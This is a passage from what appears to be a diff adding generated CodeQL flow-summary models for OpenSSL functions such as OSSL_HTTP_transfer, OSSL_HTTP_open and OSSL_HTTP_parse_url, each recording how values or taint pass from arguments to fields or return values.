*,size_t)", "", "Argument[6]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_exchange", "(OSSL_HTTP_REQ_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_exchange", "(OSSL_HTTP_REQ_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_get0_mem_bio", "(const OSSL_HTTP_REQ_CTX *)", "", "Argument[*0].Field[**mem]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_get0_mem_bio", "(const OSSL_HTTP_REQ_CTX *)", "", "Argument[*0].Field[*mem]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_get_resp_len", "(const OSSL_HTTP_REQ_CTX *)", "", "Argument[*0].Field[*resp_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_nbio_d2i", "(OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_nbio_d2i", "(OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_nbio_d2i", "(OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_new", "(BIO *,BIO *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**wbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_new", "(BIO *,BIO *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**rbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_new", "(BIO *,BIO *,int)", "", "Argument[0]", "ReturnValue[*].Field[*wbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_new", "(BIO *,BIO *,int)", "", "Argument[1]", "ReturnValue[*].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_new", "(BIO *,BIO *,int)", "", "Argument[2]", "ReturnValue[*].Field[*buf_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set1_req", "(OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *)", "", "Argument[*2]", "Argument[3]", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set1_req", "(OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[*0].Field[*max_total_time]", "Argument[*0].Field[*max_time]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[*1]", "Argument[*0].Field[**expected_ct]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**expected_ct]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[2]", "Argument[*0].Field[*expect_asn1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[3]", "Argument[*0].Field[*max_time]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_expected", "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)", "", "Argument[4]", "Argument[*0].Field[*keep_alive]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines", "(OSSL_HTTP_REQ_CTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*max_hdr_lines]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_max_response_length", "(OSSL_HTTP_REQ_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*max_resp_len]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_REQ_CTX_set_request_line", "(OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*method_POST]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_adapt_proxy", "(const char *,const char *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_adapt_proxy", "(const char *,const char *,const char *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_adapt_proxy", "(const char *,const char *,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_exchange", "(OSSL_HTTP_REQ_CTX *,char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_exchange", "(OSSL_HTTP_REQ_CTX *,char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_exchange", "(OSSL_HTTP_REQ_CTX *,char **)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[*4]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_get", "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[**8]", "ReturnValue[*].Field[***upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*0]", "ReturnValue[*].Field[**server]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*1]", "ReturnValue[*].Field[**port]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*2]", "ReturnValue[*].Field[**proxy]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*5]", "Argument[*6]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*6]", "Argument[*5]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*6]", "ReturnValue[*].Field[**rbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[*8]", "ReturnValue[*].Field[**upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[0]", "ReturnValue[*].Field[**server]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[10]", "ReturnValue[*].Field[*max_total_time]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[1]", "ReturnValue[*].Field[**port]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[2]", "ReturnValue[*].Field[**proxy]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[4]", "ReturnValue[*].Field[*use_ssl]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[6]", "ReturnValue[*].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[7]", "ReturnValue[*].Field[*upd_fn]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[8]", "ReturnValue[*].Field[*upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_open", "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)", "", "Argument[9]", "ReturnValue[*].Field[*buf_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**6]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**7]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**8]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_proxy_connect", "(BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_proxy_connect", "(BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*5]", "Argument[*0].Field[**expected_ct]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[4]", "Argument[*0].Field[*method_POST]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[4]", "Argument[*0].Field[*req]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[5]", "Argument[*0].Field[**expected_ct]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[6]", "Argument[*0].Field[*expect_asn1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[7]", "Argument[*0].Field[*max_resp_len]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[8]", "Argument[*0].Field[*max_time]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[9]", "Argument[*0].Field[*keep_alive]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[**10]", "Argument[**0].Field[***upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*10]", "Argument[**0].Field[**upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*15]", "Argument[**0].Field[**expected_ct]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*1]", "Argument[**0].Field[**server]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*2]", "Argument[**0].Field[**port]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*5]", "Argument[**0].Field[**proxy]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*7]", "Argument[*8]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*7]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*8]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*8]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[10]", "Argument[**0].Field[*upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[11]", "Argument[**0].Field[*buf_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[14]", "Argument[**0].Field[*method_POST]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[14]", "Argument[**0].Field[*req]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[15]", "Argument[**0].Field[**expected_ct]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[16]", "Argument[**0].Field[*expect_asn1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[17]", "Argument[**0].Field[*max_resp_len]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[18]", "Argument[**0].Field[*max_time]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[18]", "Argument[**0].Field[*max_total_time]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[19]", "Argument[**0].Field[*keep_alive]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[1]", "Argument[**0].Field[**server]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[2]", "Argument[**0].Field[**port]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[4]", "Argument[**0].Field[*use_ssl]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[5]", "Argument[**0].Field[**proxy]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[7]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[8]", "Argument[**0].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[8]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[9]", "Argument[**0].Field[*upd_fn]", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_VALUE_free", "(OSSL_IETF_ATTR_SYNTAX_VALUE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_VALUE_free", "(OSSL_IETF_ATTR_SYNTAX_VALUE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_add1_value", "(OSSL_IETF_ATTR_SYNTAX *,int,void *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_free", "(OSSL_IETF_ATTR_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_free", "(OSSL_IETF_ATTR_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_get0_policyAuthority", "(const OSSL_IETF_ATTR_SYNTAX *)", "", "Argument[*0].Field[**policyAuthority]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_get0_policyAuthority", "(const OSSL_IETF_ATTR_SYNTAX *)", "", "Argument[*0].Field[*policyAuthority]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_get_value_num", "(const OSSL_IETF_ATTR_SYNTAX *)", "", "Argument[*0].Field[**values].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_set0_policyAuthority", "(OSSL_IETF_ATTR_SYNTAX *,GENERAL_NAMES *)", "", "Argument[*1]", "Argument[*0].Field[**policyAuthority]", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_set0_policyAuthority", "(OSSL_IETF_ATTR_SYNTAX *,GENERAL_NAMES *)", "", "Argument[1]", "Argument[*0].Field[*policyAuthority]", "value", "dfc-generated"] + - ["", "", True, "OSSL_INDICATOR_get_callback", "(OSSL_LIB_CTX *,OSSL_INDICATOR_CALLBACK **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_INFO_SYNTAX_POINTER_free", "(OSSL_INFO_SYNTAX_POINTER *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_INFO_SYNTAX_POINTER_free", "(OSSL_INFO_SYNTAX_POINTER *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_INFO_SYNTAX_free", "(OSSL_INFO_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_INFO_SYNTAX_free", "(OSSL_INFO_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_free", "(OSSL_ISSUER_SERIAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_free", "(OSSL_ISSUER_SERIAL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_get0_issuerUID", "(const OSSL_ISSUER_SERIAL *)", "", "Argument[*0].Field[**issuerUID]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_get0_issuerUID", "(const OSSL_ISSUER_SERIAL *)", "", 